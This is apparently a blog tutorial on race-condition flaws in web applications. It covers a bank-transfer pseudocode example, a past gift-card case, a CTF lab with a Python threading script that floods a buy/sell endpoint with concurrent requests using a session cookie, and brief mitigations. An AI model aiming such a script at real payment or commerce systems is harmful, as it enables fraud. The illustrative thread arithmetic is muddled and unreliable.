Race Condtion in Web Applications

Hey fellas, today we’ll discuss race conditions which are widely used in the IT industry for exploitation. There are a lot of things that can be exploited using race conditions and a majority of them come under binary exploitation. Being a critical level bug, it is very important to understand how race conditions are used to exploit a web application and how one can mitigate the risk of it. We will study different scenarios and will also cover a lab explaining all the necessary topics.

Contents

What is a Race Condition ?

A race condition occurs when multiple threads simultaneously access the same code or variables without locking or synchronization, resulting into the inconsistency of the output. The developers often tend to think that the code always runs in a linear manner without any errors and neglect the fact that multiple threads running concurrently can change the output.

Thread synchronization is a mechanism that ensures that two or more concurrent processes or threads do not simultaneously execute some particular program segment, also known as a critical section. A race condition can occur if proper synchronization techniques are not applied.

Sending multiple requests to a web server can cause an unintended output. In simple words, a race condition attack happens when a system/server is forced to perform two or more operations simultaneously. The attacker once breached a system using this kind of attack. If the attack is successful, then the attacker can pretty much alter,delete, manipulate or even perform a DoS (Denial of Service) attack on that particular system. Although it doesn’t happen that frequently, but the impact of this bug can be very critical. Lets view a small piece of code to understand it more clearly.

Understanding the Logic Behind It.

Suppose there are two users: Alice and Bob having a bank account on vulnerablebank.com

Alice wants to make a fund transfer of $200 to Bob. The ideal way of transferring the money should go like this.

if(alice_balance >= amount_to_transfer){
    alice_balance = alice_balance - amount_to_transfer;
    bob_balance = bob_balance + amount_to_transfer;
    success_message();
}
else{
    print("Insufficient balance");
    exit_with_error();
}

The code checks if the Alice’s balance is sufficient enough to make a money transfer. If the first condition is satisfied, then that particular amount is debited from Alice’s account and the same amount is credited into Bob’ account. Now here comes the flaw. What if the same request is sent multiple times.

What really happening here is that the same request is sent twice and the code is generating the amount to be $400 and thus that much amount is getting credited into Bob’s account. The code first checks the amount to be equal or greater than the transfer amount. The first condition is satisfied as the requests are sent simultaneously. The second condition is to add the transfer amount into the Bob’s account.So in this case, $200 + $200 i.e a total of $400 will get added into the his account. The third condition is to deduct $200 from Alice’s account. So if we calculate everything,

Thread 1:
    Alice's account = $200
    Bob's account = $0
        After Bank Transfer:
            Alice's account = $0
            Bob's account = $0
Thread 2:
    Alice's account = $200
    Bob's account = $0
        After Bank Transfer:
            Alice's account = $0
            Bob's account = $200

At the end, after combining the two threads being running at the same time, the bob’s account would end up getting an extra of $200. The major impact of race condition happens in various operating systems and the majority of them in kernels (Part of Operating Systems). There it is said to be a privilege escalation vulnerability that manipulates with time and services running in Unix like systems.

Once a security researcher was able to exploit a race condition flaw in Starbucks gift card application. Let’s understand how he was able to load free money into his gift card.

A flaw in Starbucks application let the users transfer money between cards even if there was no money to be transferred said Egor Homakov. The researcher bought three Starbucks gifts cards and loaded $5 onto each of them. He then exploited what known as “race condition” vulnerability that we discussed earlier to transfer the entire balance of one card to both of the other cards at the same time resulting an extra of $5 in one of the card.

Here’a link if you are interested to read the entire article about this vulnerability.

What triggers the race condition flaw ?

All kinds of systems present out there on the Internet can be vulnerable to a race condition attack. The attack is much more difficult to implement and analyze as it takes both time as well as deep understanding. But if the attacker exploits it successfully then it can have a major impact on the external as well as internal network of a particular organization.

When a normal update takes place to an application or database, this can lead the attacker to perform race condition attack onto that application. This is possible because during updation, the memory or database is not completely written and few gaps exists which causes the attack to happen.During the updation process, the system is said to be unprotected and thus performing race condition attack can exploit the entire system very easily.

Lab Overview

I have a lab that demonstrates how race condition can be exploited by using python and basic knowledge of scripting. Make sure to install Burp Suite for deep understanding of HTTP Requests.

This is a CTF challenge that I encountered and is a really good example to practice Race Condition attack. Here the main intention of this challenge is to make the toys to a total of 100 but if you will buy 1 toy, an amount of 10 will get deducted.

The maximum amount of toys that one can buy is only 10 and we ought to make it 100.

We have to perform a race condition attack over here for this trick to work and give us flag. There are a lot of ways to perform this attack and one of them is using python.So we will be using “threading” module from python.We need a way to tell the server to buy and sell toys at the same time to increase our balance. You could open two pages having the same cookie and then click buy on one page and sell on other page, but that doesn’t sound feasible to me.

I have written this script that can help us speed up the process. If needed, we can again run this script if it fails to reaches up to 100.

#!/usr/bin/env python
import requests
from threading import Thread
url = "http://racecompetition.ctfchallenge.ga/trade/"
cookie = {'name':'619282Akshay'}
def buy():
    for i in range(100):
        requests.post(url,data={'action':'buy'},cookies=cookie)
        print i
def sell():
    for i in range(100):
        requests.post(url,data={'action':'sell'},cookies=cookie)
if __name__ == '__main__':
    Thread(target=buy).start()
    Thread(target=sell).start()
    Thread(target=buy).start()

In this script, we are using buy() and sell() function to do the exact same thing that we normally do it by clicking on either buy button or sell button.

Here the first two Thread modules are used to increase the capacity and then the next Thread(buy) is used to buy the toys and make it up to 100. Lets run the script and see the results.

Make sure to copy the value of cookie and paste it into the script.Now run the script and wait for it.

It worked and eventually I got the flag. Just run the script again if the total of toys aren’t up to 100. This is how race condition attack happens in a real environment. We can even use Burp Suite Professional for this attack to work by simply increasing the number of threads in the intruder tab under Request Engine section.

Mitigating Race Conditions:

To deal with race conditions, one need to implement a good and secure web application. Following are the things required to prevent races happening in web applications.

1) Locks

The term locking is used which actually allows a single thread to modify or update any file or database in a web application. It’s always a good practice to use locking as a security measure which in simple terms means that it will tolerate only one request and keep the other on wait/hold.

2) Isolations

Serializable transactions ensure strictly sequential execution. This, however, can impact performance.

References